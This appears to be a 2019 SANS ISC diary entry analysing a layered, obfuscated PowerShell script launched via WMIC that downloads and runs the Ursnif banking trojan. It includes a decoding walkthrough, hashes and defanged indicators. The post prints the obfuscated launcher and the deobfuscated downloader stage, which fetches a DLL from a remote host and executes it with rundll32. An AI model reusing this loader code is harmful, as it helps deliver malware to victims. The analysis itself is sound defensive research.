Russian Dolls Malicious Script Delivering Ursnif

Published: 2019-07-11
Last Updated: 2019-07-12 04:49:21 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

As a result of my hunting jobs, I found an interesting piece of obfuscated script. This one looks really like Russian dolls because multiple levels of obfuscation are implemented. It is invoked via WMIC, the command client that performs Windows Management Instrumentation (WMI) operations from a command prompt. If WMI is known to be a management solution (to get status of local and remote Windows hosts), it is able to perform a lot of interesting stuff like changing settings, managing users and… spawn processes. Example:

C:\Users\REM\>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 5372;
        ReturnValue = 0;
};

The sample that I found spawns a Powershell process with an obfuscated payload (SHA256: ced09a35fd85240ec0066bac134c08cec8a9e39ecceed1ad52fade55f39e359e) and has a low VT score (2/55)[1]. Here is a beautified version:

WmiC "prOcess" "CAlL" "CrEATe" "PoWersheLl -NoPRofiLE -EXECUTiONpoLI bYpAss -wiN 000000000000000000000000000000000000000000000000000000000000000001 -nOninT . 
( $sHELlid[1]+$sHeLLiD[13]+'x')("\".('sl');&('sa'+'l') ('Ll') ('sa'+'l');&('lp');.('Ll') ('Pp') ('N'+'Ew-ObJ'+'ect');&('Ll') ('Pp'+'p') ('i'+'EX');&('Pp'+'p')(&('Pp') ('SysteM.i'+'O.co'+'mPRES'+'siOn'+'.'+'defLA'+'tESTrE'+'A'+'m')([IO.mEmORYsTReam][conVert]::FROmBaSe64stRing( (‘

<payload>

') ) "\" + [StrinG][Char]44 +"\"[iO.CoMPressiOn.ComPreSSiONmODe]::DeCoMpreSS)|.('%') {.('Pp') ('SY'+'st'+'Em.Io.stRe'+'AmreAd'+'er')(`${_}"\" + [StrinG][Char]44 +"\" [TExT.eNCOdinG]::ASciI)} ).reADtoEnD()"\" )"

The payload is Base64-encoded and compressed using the Deflate[2] algorythm. You can easily decode this first stage payload with a few lines of Powershell:

$base64data = ‘<payload>'
$data = [System.Convert]::FromBase64String($base64data)
$m = New-Object System.IO.MemoryStream
$m.Write($data, 0, $data.Length)
$m.Seek(0,0) | Out-Null
$s = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
echo $s.ReadLine()

The result gives us a second stage payload:

Ll Xf Get-Date;Ll Jq rundll32;[sTRING]::joIn( '' ,( ‘

<payload>

'-SPLiT','-sPliT'G' -split'D'-SpLiT'%' -SpliT '<'-sPlit 'S' -split'p' -SpliT'~' -sPlIt'K' -SPl
iT':' |%{ ( [ConvERT]::toiNT16(( $_.TosTRiNG()) ,8)-as [CHaR])}) ) |Ppp

Here is the decoded payload:

$Tk=get-counter;( Pp  Io.STreaMreaDer(( Pp iO.cOMpReSSioN.DeFLATEstReAM( [SYsTeM.iO.MEMoRYsTReAM] [cOnvERt]::FrombAsE64stRinG
(‘

<payload>

'),[IO.comPREsSioN.cOmPresSiOnmOdE]::dEcOMpress)), [Text.eNcoDiNG]::aSciI) ).reADTOEND( )|Ppp

Again, we are facing the same behaviour. The third payload is Base64-encoded and deflated. Once decoded, we now have this:

if((.('Xf')|.("{0}{2}{1}" -f'out-','ring','st')) -like ("{0}{1}"-f '*gn','*')){${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun');${i`I}="${ii}?"+(&('Xf') -Format ('o')).('sub'+'str'+'ing').Invoke(0,27);${Ez}=("{1}{2}{0}"-f 'ient','Net.WebC','l');function R`Sd([string] ${t`eE}){${L} = @{}; ${L}.';' = 'T'; ${L}.'_' = 'V'; ${l}.'-' = 'A'; Foreach(${E} in ${l}."Ke`Ys"){${T`ee} = ${T`ee}.('R'+'eplac'+'e').Invoke(${e}, ${l}.${e})}return ${T`EE}};.('SV') ("{1}{0}" -f'U','43') ${II}}else{exit};.('SV') ('4H') ${Ez};&("{0}{1}"-f 'di','r') ("{0}{1}" -f'ect','*');.('SV') ('wm') (&(.('GI') ("{4}{2}{0}{1}{3}" -f 'e:/','E*ont','abl','e*','Vari'))."v`ALUe".(((&('GI') ("{3}{2}{0}{1}"-f'*onte','*','iable:/E','Var'))."VAL`UE"|&("{0}{1}{2}"-f 'Me','m','ber'))[6]."NA`me").('GetCm'+'dle'+'t').Invoke((&('GI') ("{0}{1}{2}{4}{3}" -f'Var','iable',':/','e*','E*ont'))."v`ALUe".(((&('GI') ("{0}{3}{2}{1}"-f 'Varia','nte*','le:/E*o','b'))."v`ALuE"|.("{0}{1}" -f'Membe','r'))[6]."n`AME").(((.('GI') ("{0}{2}{3}{1}" -f 'Vari','/E*onte*','able',':'))."VaL`Ue".(((&('GI') ("{5}{1}{2}{4}{0}{3}"-f'*','riab','l','onte*','e:/E','Va'))."vA`LuE"|.("{0}{1}" -f 'Memb','er'))[6]."na`mE")."PS`oB`JECT"."MeT`hODS"|.('?'){(&("{1}{0}"-f 'R','DI') ((("{0}{1}{2}" -f'Variabl','e:K4q','_'))-replACE  'K4q',[chAr]92))."VA`lue"."nA`mE"-like("{0}{1}" -f '*n','d*e')})."N`AMe")."iN`V`okE"(("{0}{1}"-f 'N*','ct'),1,${T`Rue}))(&("{2}{1}{0}"-f'able','ri','Va') ('4H'))."V`ALUe");&('SV') ('Gu') ((((.("{0}{1}" -f 'GC','i') ("{0}{2}{3}{1}" -f 'Variab','wm','l','e:'))."va`LUe"|&("{1}{0}{2}" -f'm','Me','ber'))|&('?'){(.("{1}{0}" -f'IR','D') ((("{1}{0}" -f'0}_','Variable:{'))  -f[ChaR]92))."val`Ue"."Na`me"-like("{1}{0}"-f'wn*g','*')})."nA`mE");${L`y}=(&("{1}{0}"-f'i','gC') ("{1}{0}{2}"-f'able','Vari',':wm'))."vAL`Ue".((.("{1}{0}" -f 'Ci','G') ((("{0}{2}{1}{3}" -f 'V','e:{0}G','ariabl','u'))  -f [cHAr]92))."vaL`Ue")."IN`VOKe"((.("{0}{1}"-f 'G','CI') ("{2}{1}{0}" -f'e:/43U','riabl','Va'))."Val`UE");if((${tK}|.('FL') -Property ('*')|.("{2}{1}{0}" -f'-String','t','Ou')) -Match ("{0}{1}" -f'i','sco f')){${G`A}=${En`V`:temp};${gg}=(${D} = .("{0}{1}"-f'g','ci') ${G`A}|&("{0}{2}{1}" -f 'g','ndom','et-ra'))."N`AME" -replace ".{4}$";${WY}=${g`A}+'\'+${gg}+'.';("{1}{0}{2}" -f'r','er','or[0]')|.("{0}{1}{2}" -f 'se','t-clipboa','rd');[io.file]::"w`Ri`T`eallBYTes"(${w`y},[Convert]::('F'+'rom'+'Ba'+'se64S'+'tring').Invoke((&("{0}{1}"-f 'Rs','d')(${ly})).('replac'+'e').Invoke(' ','')))};if((&("{1}{0}" -f'i','gc') ${w`Y})."LE`N`GTH" -lt 200){exit};&("{0}{1}" -f's','leep') 9;.('Jq') ("{2}{1}{0}{3}"-f'p','l.c','InetCp','l'),("{1}{5}{0}{4}{3}{6}{2}"-f 'arMy','Cl','s','ksB','Trac','e','yProces') 8|.('Jq') ('/s') ${wy}, ("{1}{0}{2}{3}{4}"-f 'egi','DllR','ster','Ser','ver');.("{1}{0}"-f'leep','s') 55;&('sl');[io.file]::"w`RItEAL`lLIN`ES"(${w`y},[regex]::('repl'+'ace').Invoke(${ly},'\d','.’))

This script is also nicely obfuscated but it’s easy to spot the goal: it’s the downloader. Many strings are stored in arrays but they are easy to read:

PS C:\Users\REM> ${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun');
PS C:\Users\REM> echo ${I`i}
hxxps://fundoluyr[.]fund/e.php

Too bad the domain does not resolve anymore but it can be found in passive DNS databases. It was resolving to 185[.]158[.]251[.]97. Let’s try to access the site now:

isc> curl --resolve fundoluyr[.]fund:443:185[.]158[.]251[.]97 -v hxxps://fundoluyr[.]fund/e.php
* Added fundoluyr[.]fund:443:185[.]158[.]251[.]97 to DNS cache
* Hostname fundoluyr.fund was found in DNS cache
*   Trying 185[]158[.]251[.]97...
* TCP_NODELAY set
* Connection failed
* connect to 185[.]158[.]251[.]97 port 443 failed: Connection refused
* Failed to connect to fundoluyr[.]fund port 443: Connection refused
* Closing connection 0
curl: (7) Failed to connect to fundoluyr[.]fund port 443: Connection refused

The server is also down but I found references to the URL on Twitter. A malware analyst (@reecDeep) grabbed the file server by the URL and found a DLL:

It’s an Ursnif sample (SHA256:3e0c302ffaaf26cca166dad8691f3cc8a4f2c3800311ef856a47ecac02854a41)[3].

Another nice example of obfuscation isn't it?

[1] https://www.virustotal.com/gui/file/ced09a35fd85240ec0066bac134c08cec8a9e39ecceed1ad52fade55f39e359e/detection
[2] https://en.wikipedia.org/wiki/DEFLATE
[3] https://beta.virusbay.io/sample/browse/01529543151d3d9f0537009827484735

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)

Comments

Feel like Alice tumbling down the rabbit hole....

Diary Archives